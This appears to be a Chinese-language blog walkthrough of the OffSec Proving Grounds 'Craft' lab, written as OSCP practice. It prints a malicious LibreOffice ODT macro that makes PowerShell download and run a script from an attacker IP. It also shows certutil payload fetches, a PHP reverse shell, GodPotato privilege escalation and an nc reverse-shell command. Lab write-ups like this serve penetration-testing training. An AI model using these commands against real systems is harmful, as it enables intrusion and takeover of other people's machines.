OSCP Craft Write-up

本文最后更新于 2026年3月12日 下午

一、靶场详情

靶场名称:

Craft

靶场地址:

OffSec Proving Grounds Practice 实验环境

二、思路总结

突破边界:

Liberoffice ODT 文件写入反弹 shell 宏并设置打开立即执行 –> 网站上传 ODT 文件 –> thecybergeek 用户权限 –> 用户旗帜

权限提升:

在网站根目录写入 php 反弹 shell –> Apache 用户权限 –> GodPotato 提权 –> system 权限 –> 管理员旗帜

三、靶场攻击演示

3.1 靶场信息收集

TCP 端口扫描, 注意: 靶机禁用了 ICMP,需要使用 -Pn 参数跳过 ping 扫描。

1
2
3
4
sudo nmap -p- 192.168.148.169 --min-rate=2000 -Pn

PORT STATE SERVICE
80/tcp open http

UDP 端口扫描:未发现有价值信息。

TCP 服务信息搜集:

1
2
3
4
5
6
sudo nmap -p80 -sCV 192.168.148.169 -Pn

PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.48 ((Win64) OpenSSL/1.1.1k PHP/8.0.7)
|_http-title: Craft
|_http-server-header: Apache/2.4.48 (Win64) OpenSSL/1.1.1k PHP/8.0.7

系统为 Windows 环境,仅开放了 HTTP 服务。

3.2 渗透测试突破边界

3.2.1 Liberoffice ODT 文件宏攻击

访问靶机 HTTP 80 服务,页面存在上传接口和域名信息。

将域名添加至 kali 本地域名解析并枚举子域名,没有发现有价值信息。测试上传文件,提示仅允许上传 ODT 格式文件。

ODT(开放文档文本)文件:Apache OpenOffice Writer 使用的文字处理文件,类似于 Office word 文件。网页中提示上传简历文件,大概率会打开上传的文件(ODT 后缀),猜测可通过上传恶意 ODT 文件获取靶机 shell。

和 Office 办公软件类似,Apache OpenOffice Writer 也可以在文件中设置特定的宏代码,只要客户端允许打开并执行宏代码,就可能通过恶意的宏代码执行任意系统命令。

1
2
# kali 安装 Apache OpenOffice Writer
sudo apt install libreoffice libreoffice-gtk4

打开 LibreOffice Writer 工具,随意写入一些字符。

点击 Tools - Macros - Organize Macros - Basic... ,然后选中最下方 Untitled 1 点击新建一个函数。

写入 Windows powershell 下载并执行的命令。

1
2
3
Sub Main
Shell("cmd /c powershell iex (New-Object Net.Webclient).Downloadstring('http://192.168.45.236/evil.txt')")
End Sub

关闭窗口,再次点击 Tools - Macros - Organize Macros - Basic... - Assign..

设置打开文件立即执行宏代码。

关闭宏窗口,然后保存文件为 shell.odt。

在 kali 使用 goshs 监听 80 端口,然后上传 shell.odt 文件,发现靶机向 kali 发起了下载请求。

由此说明靶机执行了我们写入的宏代码,只需要将靶机下载执行的文件修改为 powershell 反弹 shell 即可。

1
2
# reverse shell
https://www.revshells.com/

在 kali 使用 nc 监听 8000 端口,再次上传 shell.odt 文件,等待靶机打开文件后,获取到系统 thecybergeek 用户 shell。

3.2.2 用户旗帜获取

3.3 提权获取系统管理员权限

3.3.1 网站根目录写入反弹 shell 获取到 Apache 用户权限

靶机本地用户存在 Apache 服务账号,Windows 服务账号一般都具有 SeImpersonatePrivilege 提权,利用该特权可通过土豆提权工具获取系统 system 权限。

在靶机 C:\xampp 目录检索 uploads,得知网站根目录为 C:\xampp\htdocs

1
2
cd C:\xampp
tree /f /a uploads

将 php 反弹 shell 上传至靶机网站根目录。

1
2
# reverse shell
https://www.revshells.com/

1
certutil -urlcache -split -f http://192.168.45.236:8000/shell.exe

在 kali 使用 nc 监听 8000 端口,访问上传的 shell.php,成功得到系统 Apache 用户 shell。

1
2
nc -lvnp 8000
http://192.168.148.169/shell.php

3.3.2 土豆提权获取系统 system 权限

通过 whoami /priv 发现 Apache 用户具有 SeImpersonatePrivilege 特权,且系统版本为 Server 2019,可通过 GodPotato 提权至系统 system 权限。

查看系统.NET 版本为 Windows .NET V4。

1
2
cd C:\Windows\Microsoft.NET\
cd C:\Windows\Microsoft.NET\Framework64

上传.NET v4 版本 GodPotato,并执行 whoami 命令,结果为系统 system 权限。

1
2
3
https://github.com/BeichenDream/GodPotato
certutil -urlcache -split -f http://192.168.45.236:8000/GodPotato-NET4.exe
.\GodPotato-NET4.exe -cmd "cmd /c whoami"

上传 nc 利用 GodPotato 执行反弹 shell,得到系统 system 权限 shell,注意: whoami 命令没有回显,可将 kali 编译好的 whoami.exe 上传至靶机。

1
2
3
4
5
6
7
# 靶机
certutil -urlcache -split -f http://192.168.45.236:8000/nc.exe
# kali
nc -lvnp 8000

# 靶机
.\GodPotato-NET4.exe -cmd "C:\xampp\htdocs\nc.exe 192.168.45.236 8000 -e cmd.exe"

1
/usr/share/windows-resources/binaries

3.3.3 管理员旗帜获取

Thanks

如果我的文章对您有帮助或您希望与我更多交流,欢迎点击「关于我」,通过页面中的微信公众号、邮箱或 Discord 与我联系;若您发现文章中存在任何错误或不足之处,也非常欢迎通过以上方式指出,在此一并致以衷心的感谢。 😊🫡

最后,祝您生活愉快!🌞✨


OSCP Craft Write-up
https://www.f0nesec.top/2025/09/07/oscp-craft/
作者
F0ne
发布于
2025年9月7日
许可协议